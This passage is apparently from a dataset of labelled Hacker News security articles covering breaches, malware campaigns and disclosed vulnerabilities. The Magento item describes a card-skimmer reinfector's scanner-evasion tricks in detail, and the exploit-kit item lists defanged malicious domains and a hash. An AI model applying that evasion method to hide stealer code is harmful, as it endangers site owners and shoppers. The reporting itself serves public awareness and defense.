Since the vulnerability only affects version 11 of the Keeper app, which was released on December 6 as a major browser extension update, the vulnerability is different from the one Ormandy reported six months ago.

Keeper has also added that the company has not noticed any attack using this security vulnerability in the wild.

As for Windows 10 users, Ormandy said users wouldn't be vulnerable to the password theft unless they open Keeper password manager and enable the software to store their passwords.

However, Microsoft still needs to explain how the Keeper password manager gets installed on the users' computers without their knowledge.

Meanwhile, users can use this registry tweak to disable Content Delivery Manager in order to prevent Microsoft from installing unwanted apps silently on their PCs.

",Vulnerability
These Top 7 Brutal Cyber Attacks Prove 'No One is Immune to Hacking' — Part I,https://thehackernews.com/2015/09/top-cyber-attacks-1.html,"If you believe that your organization is not at real risk of cyber attack, then you are absolutely wrong.

Incidents of massive data breaches, advanced cyber attacks coming from China, groups like Syrian Electronic Army, Hacking Point of Sale machines at retailers such as Target have splashed across the news in the last one year.

Whether a Government Agency or Private Company, Small or a Large Tech Company....

...It's no secret that No one is Immune to Cyber Attacks.

This article is the first in a two-part series from The Hacker News, listing first four out of Top 7 Brutal Cyber Attacks.

And here we go...

#1 ""Hacking Team"" Data Breach

Hacking Team, the controversial spyware company, recently been hacked by some unidentified hackers that exposed over 400 gigabytes of its internal sensitive data on the Internet.

Milan (Italy) based IT firm 'Hacking Team' sells intrusion and surveillance software solutions to Governments and Law Enforcement agencies worldwide.

Hacking Team is infamous for its commercial surveillance tool named as Remote Control System (RCS), which is capable of spying activities and remotely accessing target system's microphone and camera.

However, sometimes even Hackers get Hacked! So same happened with Hacking Team when hackers not only defaced Hacking Team's own Twitter account but also leaked:
Executive Emails
Source codes for Hacking and Spyware Tools
Zero-day exploits, including for Flash, Internet Explorer
Government client list with date of purchase and amount paid
…Marking the attack as one of the biggest cyber attacks on any Company.

One of the aspects of the data breach showed the lack of protection implementations within the organization and using weak passwords.

#2 Ashley Madison Data Breach

TIP: No website can guarantee privacy of your identity, Credit card details, personal photos or any other information. [Read more]

Two months ago, Toronto-based Ashley Madison website, popular as an online Married Dating portal for extramarital affairs with the tagline ""Life is Short. Have an Affair,"" was hacked by 'The Impact Team'.

Hackers allegedly gained access to millions of its customers information database and posted 10GB of personal data for its tens of Millions of customers, including their names and email addresses.

Frequently followed by another leak, where hackers released another 20GB of company's internal data, including personal e-mails from the CEO of Ashley Madison parent company Avid Life, Noel Biderman, along with the source code for its website and mobile apps.

The breach came just two months after an attack on another scandalous site, Adult Friend Finder where again millions of people's very personal data were left exposed on the Internet.

The Ashley Madison and Adult Friend Finder hacking cases raise serious questions about what these dating websites are doing to ensure the security of their users' personal information.

#3 The Sony Pictures Hack

Remember last year when you were able to download and watch unreleased movies of Sony Pictures Entertainment?

Annie, Mr. Turner, Still Alice, To Write Love On Her Arms, and Brad Pitt's ""Fury""...

...were leaked online on torrent websites, following a massive cyber attack on Sony Pictures last year by the Guardians of Peace (GOP) hacking group.

The hack wasn't limited to unreleased movies — the unknown hackers leaked about 200 gigabytes of confidential data belonging to Sony Pictures from movie scripts to sensitive employees data, celebrity's' phone numbers and their travel aliases, making it the most severe hack in the History.

The massive cyber attack on the company was in response to the release of ""The Interview"" — a controversial North Korean-baiting film, where hackers threatened 9/11 Type attack at Theaters showing this movie.

As a result, Sony had to shut down its services for weeks. However, it struggled to solve the issue by pulling ""The Interview"" from theaters and eventually putting it up on Netflix.

But, things have not changed much for Sony. This was the second time Sony was targeted, and the intensity of the attack was such that even after taking the best measures, a subsequent amount of the company's data was leaked to WikiLeaks.

#4 'Fappening' and 'Snappening'

When a surge of Nude Photos of Celebrities were leaked and went viral in August of 2014, the Internet had a meltdown.

Unknown Hacker was able to break into third-party applications connected to services like Facebook, Twitter, Instagram and Apple's iCloud that led to a major incident known as ""The Fappening"".

The Fappening mainly attacked female celebrities and leaked very private photographs of them, including Jennifer Lawrence, Kim Kardashian, Kirsten Dunst, Avril Lavigne and many others.

Within a month of ""The Fappening,"" another similar incident called ""The Snappening"" happened that leaked more than 100,000 nude videos and images of the Snapchat users.

In The Fappening, the Naked Pictures were allegedly retrieved due to a ""brute force"" security flaw in Apple's iCloud file storage service. However, Apple denied it.

In case of The Snappening, Snapchat's servers were not breached. Instead, the nude pictures of users were compromised due to third-party apps used to send and receive Snaps.

However, both the incidents marked as the biggest hacks of one of its kind.

Further Read: Part II — Top 7 Brutal Cyber Attacks Proves that No One is Immune to Hacking.

",Data_Breaches
Emotet Malware Destroys Itself From All Infected Computers,https://thehackernews.com/2021/04/emotet-malware-destroys-itself-today.html,"Emotet, the notorious email-based Windows malware behind several botnet-driven spam campaigns and ransomware attacks, was automatically wiped from infected computers en masse following a European law enforcement operation.
The development comes three months after a coordinated disruption of Emotet as part of ""Operation Ladybird"" to seize control of servers used to run and maintain the malware network. The orchestrated effort saw at least 700 servers associated with the botnet's infrastructure neutered from the inside, thus preventing further exploitation.
Law enforcement authorities from the Netherlands, Germany, the U.S., U.K., France, Lithuania, Canada, and Ukraine were involved in the international action.
Previously, the Dutch police, which seized two central servers located in the country, said it had deployed a software update to counter the threat posed by Emotet effectively. ""All infected computer systems will automatically retrieve the update there, after which the Emotet infection will be quarantined,"" the agency noted back in January.
This involved pushing a 32-bit payload named ""EmotetLoader.dll"" via the same channels that were used to distribute the original Emotet to all compromised machines. The cleanup routine, which was set to trigger itself automatically on April 25, 2021, worked by removing the malware from the device, in addition to deleting the autorun Registry key and terminating the process.
Now on Sunday, cybersecurity firm Malwarebytes confirmed that its Emotet-infected machine that had received the specially-crafted time bomb code had successfully initiated the uninstallation routine and removed itself from the Windows system.
As of writing, Abuse.ch's Feodo Tracker shows none of the Emotet servers are online. However, it remains to be seen if this ""final"" blow to the botnet will cause it to bounce back in the future or render it permanently inoperable, paving the way for other cybercrime actors to fill the void.
""Historically, Emotet's operators used long breaks in activity to improve their malware,"" Redscan researchers noted on Friday. ""This means there is a realistic possibility that Emotet's operators will use this opportunity to make the loader malware even more resilient, for example, by using polymorphic techniques to counter future coordinated action. They could also use the Emotet source code to branch off and create smaller, independent botnets.""
The mass action marks the second time law enforcement agencies have intervened to remove malware from compromised machines.
Earlier this month, the U.S. government took steps to remove web shell backdoors dropped by the Hafnium threat actor from Microsoft Exchange servers located in the country that were breached using ProxyLogon exploits.
Following the court-authorized operation, the Federal Bureau of Investigation said it's in the process of notifying all the organizations from which it had removed web shells, implying the intelligence agency accessed the systems without their knowledge.

",Malware
16-Year-Old Teenager arrested for World's biggest cyber attack ever,https://thehackernews.com/2013/09/16-year-old-teenager-arrested-for.html,"16-Year-Old Teenager has been arrested over his alleged involvement in the World's biggest largest DDoS attacks against the Dutch anti-spam group Spamhaus.

The teenager, whose name is unknown at this point, was arrested by British police in April, but details of his arrest were just leaked to the British press on Thursday.

He was taken into custody when police swooped on his south-west London home after investigations identified significant sums of money were flowing through his bank account. The suspect was found with his computer systems open and logged on to various virtual systems and forums.

The March 20 attack on Spamhaus has been dubbed as the ""biggest cyber attack in the history of the Internet"" which saw server of the Dutch anti-spam organization being bombarded with traffic in tune of 300 billion bits per second (300Gbps).

A DDoS attack takes place when hackers use an army of infected computers to send traffic to a server, causing a shutdown in the process.

It's unclear what role the teenager played in the massive distributed denial of service (DDoS) attack. The boy has been released on bail until later this year. A 35-year-old Dutchman was detained and his computers, data carriers and mobile phones were seized, local media speculates that the person is none other than CyberBunker spokesman Sven Olaf Kamphuis.

The attack on Spamhaus is believed to have started after the anti-spam organization blacklisted CyberBunker for allegedly spreading spam.

",Cyber_Attack
New Banking malware 'i2Ninja' being sold via underground Russian Cybercrime Market,https://thehackernews.com/2013/11/new-banking-malware-i2ninja-being-sold.html,"Researchers at Trusteer spotted a new banking malware program on the underground Russian cybercrime market, that communicates with attackers over the I2P anonymity network is for sale on underground Russian cybercrime forums.

Dubbed 'i2Ninja', malware has most of the features found in other financial malware including the ability to perform HTML injections and form grabbing in Internet Explorer, Firefox and Chrome. i2Ninja can also steal FTP and e-mail credentials. It also has a PokerGrabber module feature that targets poker sites.
The traffic between the malware and the command server cannot be easily blocked by intrusion prevention systems or firewalls because it's encrypted and transmitting over the Invisible Internet Project (I2P).
Everything from delivering configuration updates to receiving stolen data and sending commands is done via the encrypted I2P channels.
I2P communication can make it much harder for security researchers to find and take down those servers and the malware also offers buyers a proxy for anonymous Internet browsing, promising complete online anonymity.

Another unique feature of this malware is that it comes with an integrated help desk ticketing system. ""A potential buyer can communicate with the authors / support team, open tickets and get answers - all while enjoying the security and anonymity provided by I2P's encrypted messaging nature,"" Trusteer says.

The few other malware also has such marketed support i.e. Citadel and the Neosploit Exploit Pack. It's not known if i2Ninja is already being used to infect computers.

With increasing black market activity and the release of various malware source code, we expect to see a new malware variants and new underground offering in 2014, they say.

",Malware
Magento Hackers Using Simple Evasion Trick to Reinfect Sites With Malware,https://thehackernews.com/2018/06/magento-security-hacking.html,"Security researchers have been warning of a new trick that cybercriminals are leveraging to hide their malicious code designed to re-introduce the infection to steal confidential information from Magento based online e-commerce websites.

So, if you have already cleaned up your hacked Magento website, there are chances your website is still leaking login credentials and credit card details of your customers to hackers.

More than 250,000 online stores use open-source Magento e-commerce platform, which makes them an enticing target for hackers, and therefore the security of both your data and your customer data is of the utmost importance.

According to the researchers at Sucuri, who have previously spotted several Magento malware campaigns in the wild, cybercriminals are currently using a simple yet effective method to ensure that their malicious code is added back to a hacked website after it has been removed.

To achieve this, criminals are hiding their 'credit card stealer reinfector' code inside the default configuration file (config.php) of Magento website, which gets included on the main index.php and loads with every page view, eventually re-injecting the stealer code into multiple files of the website.

Since config.php file gets automatically configured while installing Magento CMS, usually it is not recommended for administrators or website owners to change the content of this file directly.

Here's How Magento's Reinfector Code Works
The reinfector code spotted by researchers is quite interesting as it has been written in a way that no security scanner can easily identify and detect it, as well as it hardly looks malicious for an untrained eye.

Hackers have added 54 extra lines of code in the default configuration file. Here below, I have explained the malicious reinfector code line-by-line, shown in the screenshots, written inside the default config.php file.

At line no. 27, attackers set error_reporting() function to false in an attempt to hide errors messages that could reveal the path of the malicious module to site admins.

From line no. 31 to 44, there's a function called patch() that has been programmed to append the malicious code for stealing confidential information into legitimate Magento files.

This patch() function uses 4 arguments, values of which defines the path of a folder, name of a specific file resides in that path needs to be infected, file size required to check if it is necessary to reinfect the given file, a new file name to be created, and a remote URL from where the malicious code will be downloaded in real-time and injected into the targeted file.

From line 50 to 51, attackers have smartly split up the base64_decode() function in multiple parts in order to evade detection from security scanners.

The line 52 includes a base64 encoded value that converts to ""https://pastebin.com/raw/"" after getting decoded using the function defined in line 50-51.

The next four sets of variables from line 54 to 76 define the four values required to pass arguments to the patch() function mentioned above.

The last line of each set includes a random eight character value that concatenated with the link variable encoded in line 52, which eventually generates the final URL from where the patch() function will download the malicious code hosted on remote Pastebin website.

From line 78 to 81, attacker finally executes patch() function four times with different values defined in line 54-76 to reinfect website with the credit card stealer.
""As a rule of thumb, on every Magento installation where a compromise is suspected to have taken place, the /includes/config.php should be verified quickly,"" researchers advise.
It should be noted that similar technique can also be used against websites based on other content management system platforms such as Joomla and WordPress to hide malicious code.

Since attackers mostly exploit known vulnerabilities to compromise websites at the very first place, users are always recommended to keep their website software and servers updated with the latest security patches.

",Malware
"LuckyMouse Hackers Target Banks, Companies and Governments in 2020",https://thehackernews.com/2021/04/luckymouse-hackers-target-banks.html,"An adversary known for its watering hole attacks against government entities has been linked to a slew of newly detected intrusions targeting various organizations in Central Asia and the Middle East.
The malicious activity, collectively named ""EmissarySoldier,"" has been attributed to a threat actor called LuckyMouse, and is said to have happened in 2020 with the goal of obtaining geopolitical insights in the region. The attacks involved deploying a toolkit dubbed SysUpdate (aka Soldier) in a number of breached organizations, including government and diplomatic agencies, telecom providers, a TV media company, and a commercial bank.
LuckyMouse, also referred to as APT27 and Emissary Panda, is a sophisticated cyberespionage group that has a history of breaching multiple government networks in Central Asia and the Middle East. The actor has also been linked to cyberattacks aimed at transnational organizations such as the International Civil Aviation Organization (ICAO) in 2019 and recently attracted attention for exploiting ProxyLogon flaws to compromise the email server of a governmental entity in the Middle East.
EmissarySoldier is only the latest in a series of surveillance efforts aimed at the targets.
""In order to compromise victims, LuckyMouse typically uses watering holes, compromising websites likely to be visited by its intended targets, ESET malware researcher Matthieu Faou said in a report published today. ""LuckyMouse operators also perform network scans to find vulnerable internet-facing servers run by their intended victims.""
What's more, ESET also observed LuckyMouse infections on an unspecified number of internet-facing systems running Microsoft SharePoint, which the researchers suspect occurred by taking advantage of remote code execution vulnerabilities in the application.
Regardless of the method used to gain an initial foothold, the attack chain culminates in the deployment of custom post-compromise implants, SysUpdate or HyperBro, both of which leverage DLL search order hijacking to load malicious payloads and thwart detection. ""The trident model features a legitimate application vulnerable to DLL hijacking, a custom DLL that loads the payload, and a raw Shikata Ga Nai-encoded binary payload,"" Faou noted.
For its part, SysUpdate functions as a modular tool, with each component devoted to a particular operational purpose. It involves abusing a benign application as a loader for a malicious DLL, which in turn loads the first-stage payload that ultimately decodes and deploys the memory implant on the compromised system. Since its discovery in 2018, the toolkit has undergone numerous revisions devoted to adding new functionalities, indicating that the operators are actively working to revamp their malware arsenal.
""LuckyMouse was increasingly active throughout 2020, seemingly going through a retooling process in which various features were being incrementally integrated into the SysUpdate toolkit,"" Faou said. ""This may be an indicator that the threat actors behind LuckyMouse are gradually shifting from using HyperBro to SysUpdate.""

",Cyber_Attack
"Researchers Get $10,000 for Hacking Google Server with Malicious XML",https://thehackernews.com/2014/04/hacking-google-server-XML-External-Entity.html,"A critical vulnerability has been uncovered in Google that could allow an attacker to access the internal files of Google's production servers. Sounds ridiculous but has been proven by the security researchers from Detectify.

The vulnerability resides in the Toolbar Button Gallery (as shown). The team of researchers found a loophole after they noticed that Google Toolbar Button Gallery allows users to customize their toolbars with new buttons. So, for the developers, it is easy to create their own buttons by uploading XML files containing metadata for styling and other such properties.

This feature of Google search engine is vulnerable to XML External Entity (XXE). It is an XML injection that allows an attacker to force a badly configured XML parser to ""include"" or ""load"" unwanted functionality that can compromise the security of a web application.

""The root cause of XXE vulnerabilities is naive XML parsers that blindly interpret the DTD of the user supplied XML documents. By doing so, you risk having your parser doing a bunch of nasty things. Some issues include: local file access, SSRF and remote file includes, Denial of Service and possible remote code execution. If you want to know how to patch these issues, check out the OWASP page on how to secure XML parsers in various languages and platforms,"" the researchers wrote on a blog post.

Using the same, the researchers crafted their own button containing fishy XML entities. By sending it, they gain access to internal files stored in one of Google's production servers and managed to read the ""/etc/passwd"" and the ""/etc/hosts"" files from the server.

By exploiting the same vulnerability the researchers said they could have access any other file on their server, or could have gain access to their internal systems through the SSRF exploitation.

The researchers straight away reported the vulnerability to the Google's security team and rewarded with $10,000 (€7,200) bounty for identifying an XML External Entity (XXE) vulnerability in one of the search engine's features.

",Vulnerability
Poor Rowhammer Fixes On DDR4 DRAM Chips Re-Enable Bit Flipping Attacks,https://thehackernews.com/2020/03/rowhammer-vulnerability-ddr4-dram.html,"Remember rowhammer vulnerability? A critical issue affecting modern DRAM (dynamic random access memory) chips that could allow attackers to obtain higher kernel privileges on a targeted system by repeatedly accessing memory cells and induce bit flips.

To mitigate Rowhammer vulnerability on the latest DDR4 DRAM, many memory chip manufacturers added some defenses under the umbrella term Target Row Refresh (TRR) that refreshes adjacent rows when a victim row is accessed more than a threshold.

But it turns out 'Target Row Refresh,' promoted as a silver bullet to mitigate rowhammer attacks, is also insufficient and could let attackers execute new hammering patterns and re-enable the bit-flip attacks on the latest hardware as well.

TRRespass: The Rowhammer Fuzzing Tool

Tracked as CVE-2020-10255, the newly reported vulnerability was discovered by researchers at VUSec Lab, who today also released 'TRRespass,' an open source black box many-sided RowHammer fuzzing tool that can identify sophisticated hammering patterns to mount real-world attacks.

According to the researchers, TRRespass fuzzer repeatedly selects different random rows at various locations in DRAM for hammering and works even when unaware of the implementation of the memory controller or the DRAM chip.

What's more? The latest flaw also affects LPDDR4 and LPDDR4X chips embedded on most of the modern smartphones, leaving millions of devices still vulnerable to the RowHammer vulnerability again.


""We also ported a simplified version of TRRespass to ARM and managed to trigger bit flips on a variety of smartphones such as Google Pixel 3 and Samsung Galaxy S10,"" the researchers said.

Target Row Refresh tries to identify possible victim rows by counting the number of adjacent row activations and comparing it against a predefined value, but it still is incapable of keeping the information about all accessed rows at the same time to effectively mitigate bit flips through aggressor rows.

""The known Rowhammer variants use at most two aggressor rows to perform the attack, a small number rows that are being accessed frequently can easily be monitored by TRR. But what if we use more aggressor rows?"" the researchers said in a blog post.

""But having more aggressors overwhelms the TRR mitigation since it can only track a few aggressor rows at a time. 'Luckily' DDR4 chips are more vulnerable, giving us the possibility to reduce the number of accesses to each of the aggressors to trigger bit flips. Or, in other words, to increase the number of aggressors to bypass the mitigation.""

Researchers claim they ""tried TRRespass on the three major memory vendors (compromising more than 99% of the market) using 42 DIMMs,"" and found bit flips on 12 of them.

VUSec team reported the new RowHammer attacks to all affected parties late last year, but, unfortunately, it is not going to be patched anytime soon.

VUSec also promised to soon release an Android app that users can install and use to check whether the memory chip on their smartphones is also vulnerable to the new hammering patterns or not.
",Vulnerability
Beware! Playing Untrusted Videos On VLC Player Could Hack Your Computer,https://thehackernews.com/2019/06/vlc-media-player-hacking.html,"If you use VLC media player on your computer and haven't updated it recently, don't you even dare to play any untrusted, randomly downloaded video file on it.

Doing so could allow hackers to remotely take full control over your computer system.

That's because VLC media player software versions prior to 3.0.7 contain two high-risk security vulnerabilities, besides many other medium- and low-severity security flaws, that could potentially lead to arbitrary code execution attacks.

With more than 3 billion downloads, VLC is a hugely popular open-source media player software that is currently being used by hundreds of millions of users worldwide on all major platforms, including Windows, macOS, Linux, as well as Android and iOS mobile platforms.

Discovered by Symeon Paraschoudis from Pen Test Partners and identified as CVE-2019-12874, the first high-severity vulnerability is a double-free issue which resides in ""zlib_decompress_extra"" function of VideoLAN VLC player and gets triggered when it parses a malformed MKV file type within the Matroska demuxer.

The second high-risk flaw, identified as CVE-2019-5439 and discovered by another researcher, is a read-buffer overflow issue that resides in ""ReadFrame"" function and can be triggered using a malformed AVI video file.

Though the proof-of-concepts demonstrated by both researchers cause a crash, a potential attacker can exploit these vulnerabilities to achieve arbitrary code execution with the same privileges as of the target user on the system.

All the attacker needs to do is craft a malicious MKV or AVI video file and trick users into playing it using the vulnerable versions of VLC.

Well, that's not a tough job, as attackers can easily target hundreds of thousands of users within hours by simply releasing malicious video files on torrent sites, mimicking as a pirated copy of a newly released movie or TV series.

According to an advisory released by VideoLAN, having ASLR and DEP protections enabled on the system could help users mitigate the threat, but developers did admit that these protections could be bypassed too.

Paraschoudis used honggfuzz fuzzing tool to discover this issue and four other bugs, which were also patched by the VideoLAN team earlier this month along with 28 other bugs reported by other security researchers through EU-FOSSA bug bounty program.

Users are highly recommended to update their media player software to VLC 3.0.7 or later versions and should avoid opening or playing video files from untrusted third parties.

",Vulnerability
Microsoft Says Its Systems Were Also Breached in Massive SolarWinds Hack,https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html,"The massive state-sponsored espionage campaign that compromised software maker SolarWinds also targeted Microsoft, as the unfolding investigation into the hacking spree reveals the incident may have been far more wider in scope, sophistication, and impact than previously thought.
News of Microsoft's compromise was first reported by Reuters, which also said the company's own products were then used to strike other victims by leveraging its cloud offerings, citing people familiar with the matter.
The Windows maker, however, denied the threat actor had infiltrated its production systems to stage further attacks against its customers.
In a statement to The Hacker News via email, the company said —
""Like other SolarWinds customers, we have been actively looking for indicators of this actor and can confirm that we detected malicious SolarWinds binaries in our environment, which we isolated and removed. We have not found evidence of access to production services or customer data. Our investigations, which are ongoing, have found absolutely no indications that our systems were used to attack others.""
Characterizing the hack as ""a moment of reckoning,"" Microsoft president Brad Smith said it has notified over 40 customers located in Belgium, Canada, Israel, Mexico, Spain, the UAE, the UK, and the US that were singled out by the attackers. 44% of the victims are in the information technology sector, including software firms, IT services, and equipment providers.
CISA Issues New Advisory
The development comes as the US Cybersecurity and Infrastructure Security Agency (CISA) published a fresh advisory, stating the ""APT actor [behind the compromises] has demonstrated patience, operational security, and complex tradecraft in these intrusions.""
""This threat poses a grave risk to the Federal Government and state, local, tribal, and territorial governments as well as critical infrastructure entities and other private sector organizations,"" it added.
But in a twist, the agency also said it identified additional initial infection vectors, other than the SolarWinds Orion platform, that have been leveraged by the adversary to mount the attacks, including a previously stolen key to circumvent Duo's multi-factor authentication (MFA) to access the mailbox of a user via Outlook Web App (OWA) service.
Digital forensics firm Volexity, which tracks the actor under the moniker Dark Halo, said the MFA bypass was one of the three incidents between late 2019 and 2020 aimed at a US-based think tank.
The entire intrusion campaign came to light earlier this week when FireEye disclosed it had detected a breach that also pilfered its Red Team penetration testing tools.
Since then, a number of agencies have been found to be attacked, including the US departments of Treasury, Commerce, Homeland Security, and Energy, the National Nuclear Security Administration (NNSA), and several state department networks.
While many details continue to remain unclear, the revelation about new modes of attack raises more questions about the level of access the attackers were able to gain across government and corporate systems worldwide.
Microsoft, FireEye, and GoDaddy Create a Killswitch
Over the last few days, Microsoft, FireEye, and GoDaddy seized control over one of the main GoDaddy domains — avsvmcloud[.]com — that was used by the hackers to communicate with the compromised systems, reconfiguring it to create a killswitch that would prevent the SUNBURST malware from continuing to operate on victims' networks.
For its part, SolarWinds has not yet disclosed how exactly the attacker managed to gain extensive access to its systems to be able to insert malware into the company's legitimate software updates.
Recent evidence, however, points to a compromise of its build and software release system. An estimated 18,000 Orion customers are said to have downloaded the updates containing the back door.
Symantec, which earlier uncovered more than 2,000 systems belonging to 100 customers that received the trojanized SolarWinds Orion updates, has now confirmed the deployment of a separate second-stage payload called Teardrop that's used to install the Cobalt Strike Beacon against select targets of interest.
The hacks are believed to be the work of APT29, a Russian threat group also known as Cozy Bear, which has been linked to a series of breaches of critical US infrastructure over the past year.
The latest slew of intrusions has also led CISA, the US Federal Bureau of Investigation (FBI), and the Office of the Director of National Intelligence (ODNI) to issue a joint statement, stating the agencies are gathering intelligence in order to attribute, pursue, and disrupt the responsible threat actors.
Calling for stronger steps to hold nation-states accountable for cyberattacks, Smith said the attacks represent ""an act of recklessness that created a serious technological vulnerability for the United States and the world.""
""In effect, this is not just an attack on specific targets, but on the trust and reliability of the world's critical infrastructure in order to advance one nation's intelligence agency,"" he added.

",Cyber_Attack
Web Hosting software WHMCS vulnerable to SQL Injection; emergency security update released,https://thehackernews.com/2013/10/web-hosting-software-whmcs-vulnerable.html,"WHMCS, a popular client management, billing and support application for Web hosting providers, released an emergency security update for the 5.2 and 5.1 minor releases, to patch a critical vulnerability that was publicly disclosed.

The vulnerability was publicly posted by a user named as 'localhost' on October 3rd, 2013 and also reported by several users on various Hosting related Forums. He also released a proof-of-concept exploit code for this SQL injection vulnerability in WHMCS.
WHMCS says, as the updates have ""critical security impacts."", enables attackers to execute SQL injection attacks against WHMCS deployments in order to extract or modify sensitive information from their databases i.e. Including information about existing accounts, their hashed passwords, which can result in the compromise of the administrator account.

Yesterday a group of Palestinian hackers, named as KDMS Team possibly used the same vulnerability against one of the largest Hosting provider - LeaseWeb. After obtaining the credentials, attackers were able to deface the website using DNS hijacking.
While all versions of WHMCS are affected by this vulnerability, WHMCS v5.2.8 and v5.1.10 have been released to address this specific SQL injection vulnerability.

Just after the release of exploit online, CloudFlare added a ruleset to their Web Application Firewall (WAF) to block the specific attack vector. They mentioned that CloudFlare Hosting partners behind CloudFlare's WAF can enable the WHMCS Ruleset and implement best practices to be fully protected from the attack.

Update (2:17 PM Monday, October 7, 2013 GMT):
LeaseWeb replied The Hacker News and posted updates on their blog, ""This DNS hijack was quickly detected and rectified by LeaseWeb's security department.""

""The unauthorized name server change for leaseweb.com took place at our registrar on Saturday 5 October, around 19:00 hours CET / 1 PM EST.""

""Our security investigation so far shows that no domains other than leaseweb.com were accessed and changed. No internal systems were compromised.""

""Details of how exactly the hijack could have happened are not yet 100% clear at the moment of writing.""

LeaseWeb also explained The Hacker News that They don't use WHMCS-software (which is currently vulnerable to a zero day SQL Injection flaw) and they have their own in-house developed software for the Client Billing system.

""Right now, it appears that the hijackers obtained the domain administrator password and used that information to access the registrar.""

",Vulnerability
Israeli Think Tank Compromised to Serve Sweet Orange Exploit Kit,https://thehackernews.com/2014/09/israeli-think-tank-compromised-to-serve_9.html,"The official website of a prominent Israel-based, Middle East foreign policy-focused think tank, the Jerusalem Center for Public Affairs (JCPA), has been compromised and abused by attackers to distribute malware.

The Israeli think tank website JCPA – an independent research institute focusing on Israeli security, regional diplomacy and international law – was serving the Sweet Orange exploit kit via drive-by downloads to push malware onto the computers of the website's visitors by exploiting software vulnerabilities, researchers from security firm Cyphort reported on Friday.

The Sweet Orange is one of the most recently released web malware exploitation kits, available for sale at selected invite-only cyber crime friendly communities and has been around for quite some time. However, Sweet Orange has also disappeared but in October 2013, shortly after the arrest of Paunch, the author of BlackHole, experts observed a major increase in the use of Sweet Orange.

The analysis carried out by Cyphort security firm indicates that the attack on JCPA website is part of a wide malware campaign. It has been discovering several infected website on daily bases and found an initial redirection server as a common thread between the attacks.

Following the initial redirection server, Cyphort notes that the innocent users from music industry and law firms are being redirected to a link in the infection chain. Ultimately, users are led to an exploit server located in Russia.
""This is a sinkhole that is connected to many such varying domain names,"" explains McEnroe Navaraj of Cyphort. ""All of these names have some string of 'cdn' in them. Once the bad actors get access to an account/server they can just create a corresponding 'cdn' domain entry under that domain and use it to point to the target exploit server.""
This method allows an attacker to bypass a lot of the URL categorization and URL blacklisting technologies.

The JCPA website's homepage is infected with a malicious Jquery JavaScript file. The Jquery JavaScript file receives an exploit kit server URL from another domain,
""cdn[dot]jameswoodwardmusic[dot]com.""
Ultimately, the exploits are served from
""cdn3[dot]thecritico[dot]com:16122/clickheat/stargalaxy.php?nebua=3.""
Finally, the user is attacked via a series of Java and Internet Explorer exploits that were used to deliver an information-stealing Trojan dubbed Qbot.
""The final dropper is downloaded in encrypted form and decrypted in-memory (key: investor) and written to disk,"" Navaraj explains. ""This exploit kit served two (Qbot) binaries with same hash (MD5: 4ff506fe8b390478524477503a76f91a). Encrypted binary transfer is done to hide it from signature-based network security devices such as IPS or AV gateways.""
The malware has self modifying capability as well as anti-virtual machine and anti-antivirus detection modules built in, in order to evade detection. Once infected a machine, the malware has capability to steal machine operating system install dates, names, and product IDs.

But most weirdly, the malware contains a link to an flv file for a ""Wheat Thins"" advertisement, which indicates that probably the attackers are using the malwares as a click-fraud to make some extra dollars.

Meanwhile, the malware also attempts to block users from accessing various anti-virus companies websites, as well as steals login credentials from a long list of prominent banks, including PNC, Zions Bank, Sovereign Bank, SunTrust, Bank of America, J.P. Morgan, Wells Fargo, Citi Bank, Wachovia, TD Bank and many more.

The security firm says it has notified the think tank via the contact form on its website, but received no response.

",Malware
"British Airways Hacked – 380,000 Payment Cards Compromised",https://thehackernews.com/2018/09/british-airways-data-breach.html,"British Airways, who describes itself as ""The World's Favorite Airline,"" has confirmed a data breach that exposed personal details and credit-card numbers of up to 380,000 customers and lasted for more than two weeks.

So who exactly are victims?

In a statement released by British Airways on Thursday, customers booking flights on its website (ba.com) and British Airways mobile app between late 21 August and 5 September were compromised.

The airline advised customers who made bookings during that 15 days period and believe they may have been affected by this incident to ""contact their banks or credit card providers and follow their recommended advice.""

British Airways stated on its Twitter account that personal details stolen in the breach included their customers' names and addresses, along with their financial information, but the company assured its customers that the hackers did not get away with their passport numbers or travel details.

The company also said that saved cards on its website and mobile app are not compromised in the breach. Only cards that have been used by you to make booking payments during the affected period are stolen.
""We are investigating, as a matter of urgency, the theft of customer data from our website and our mobile app,"" the company said in a statement. ""The stolen data did not include travel or passport details.""
Although the statement released by the did not mention the number of affected customers, the company's spokesperson confirmed to the media that some 380,000 payment cards were compromised in the breach.

Also currently, it is not clear how the data breach occurred, but some media outlets are reporting that the breach was identified when ""a third party noticed some unusual activity"" and informed the company about it.

A spokesperson from British Airways confirmed The Hacker News that ""this is data theft, rather than a breach,"" which suggests someone with privileged access to the data might have stolen it.

British Airways also informed the police and the Information Commissioner and currently reaching out to affected customers directly.

However, the company assured its customers that the security breach has now been resolved, and its website is working normally and is now safe for passengers to check-in online, and book flights online.

The National Crime Agency is aware of the British Airways data breach and is ""working with partners to assess the best course of action.""

Air Canada also suffered a severe data breach late last month, which, along with personal data, also exposed passport number and other passport and travel details of about 20,000 mobile app customers.

",Data_Breaches
New Variant of Emotet Banking Malware targets German Users,https://thehackernews.com/2015/01/emotet-banking-malware.html,"A new Spam email campaign making the rounds in Germany are delivering a new variant of a powerful banking malware, a financial threat designed to steal users' online banking credentials, according to security researchers from Microsoft.

The malware, identified as Emotet, was first spotted last June by security vendors at Trend Micro. The most standout features of Emotet is its network sniffing ability, which enables it to capture data sent over secured HTTPS connections by hooking into eight network APIs, according to Trend Micro.

Microsoft has been monitoring a new variant of Emotet banking malware, Trojan:Win32/Emotet.C, since November last year. This new variant was sent out as part of a spam email campaign that peaked in November.

Emotet has been distributed through spam messages, which either contain a link to a website hosting the malware or a PDF document icon that is actually the malware.

HeungSoo Kang of Microsoft's Malware Protection Center identified a sample of the spam email message that was written in German, including a link to a compromised website. This indicates that the campaign primarily targeted mostly German-language speakers and banking websites.

The spam messages are written in such a way that it easily gain the attention of potential victims. It could masquerade as some sort of fraudulent claim, such as a phone bill, an invoice from a bank or a message from PayPal.

Once it infect a system, Emotet downloads a configuration file which contains a list of banks and services it is designed to steal credentials from, and also downloads a file that intercepts and logs network traffic.

Network sniffing is especially a disturbing part of this malware because in that a cyber criminal becomes omniscient to all information being exchanged over the network. In short, users can go about with their online banking without even realizing that their data is being stolen.

Emotet will pull credentials from a variety of email programs, including versions of Microsoft's Outlook, Mozilla's Thunderbird and instant messaging programs such as Yahoo Messenger and Windows Live Messenger.
